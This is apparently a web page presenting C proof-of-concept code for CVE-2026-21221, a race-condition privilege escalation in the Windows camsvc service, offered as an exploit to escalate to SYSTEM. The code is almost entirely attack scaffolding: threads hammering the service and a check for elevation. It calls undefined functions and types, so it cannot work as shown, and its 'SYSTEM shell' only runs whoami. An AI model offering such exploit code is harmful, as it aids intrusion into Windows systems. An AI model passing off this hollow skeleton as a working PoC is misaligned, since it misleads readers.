CVE-2026-21221 Windows Capability Access Management Service 本地权限提升漏洞

// CVE-2026-21221 PoC - Race Condition in camsvc // This is a conceptual PoC demonstrating the TOCTOU race condition // Run with low privileges to escalate to SYSTEM #include <windows.h> #include <stdio.h> #include <threads.h> #define MAX_THREADS 16 #define ITERATIONS 10000 volatile BOOL g_trigger = FALSE; HANDLE g_camsvc_handle = NULL; // Thread function to trigger race condition int race_thread(void* arg) { int thread_id = *(int*)arg; for (int i = 0; i < ITERATIONS; i++) { // Send concurrent requests to camsvc CAM_REQUEST req; req.thread_id = thread_id; req.timestamp = GetTickCount(); // Step 1: Initial request SendRequest(g_camsvc_handle, &req); // Step 2: Rapidly trigger conditions if (g_trigger) { // Manipulate shared state during TOCTOU window ManipulateResourceState(); } // Step 3: Complete request with elevated context CompleteRequest(g_camsvc_handle, &req); } return 0; } // Main exploitation logic BOOL exploit_cve_2026_21221() { printf("[*] CVE-2026-21221 camsvc Race Condition Exploit\n"); printf("[*] Target: Windows Capability Access Management Service\n"); // Open handle to camsvc g_camsvc_handle = OpenServiceHandle("camsvc"); if (!g_camsvc_handle) { printf("[-] Failed to open camsvc handle\n"); return FALSE; } printf("[*] Starting race condition attack...\n"); g_trigger = TRUE; // Launch multiple threads to create race condition thrd_t threads[MAX_THREADS]; int thread_ids[MAX_THREADS]; for (int i = 0; i < MAX_THREADS; i++) { thread_ids[i] = i; thrd_create(&threads[i], race_thread, &thread_ids[i]); } // Wait for threads and check for success BOOL exploited = FALSE; for (int i = 0; i < MAX_THREADS; i++) { thrd_join(threads[i], NULL); } if (CheckElevatedPrivileges()) { printf("[+] Race condition exploited successfully!\n"); printf("[+] Running with elevated privileges\n"); exploited = TRUE; } else { printf("[-] Exploitation failed, try again\n"); } CloseHandle(g_camsvc_handle); return exploited; } int main() { printf("CVE-2026-21221 PoC - camsvc Local Privilege Escalation\n"); printf("==================================================\n"); if (exploit_cve_2026_21221()) { // Spawn SYSTEM shell system("cmd.exe /c whoami"); } return 0; }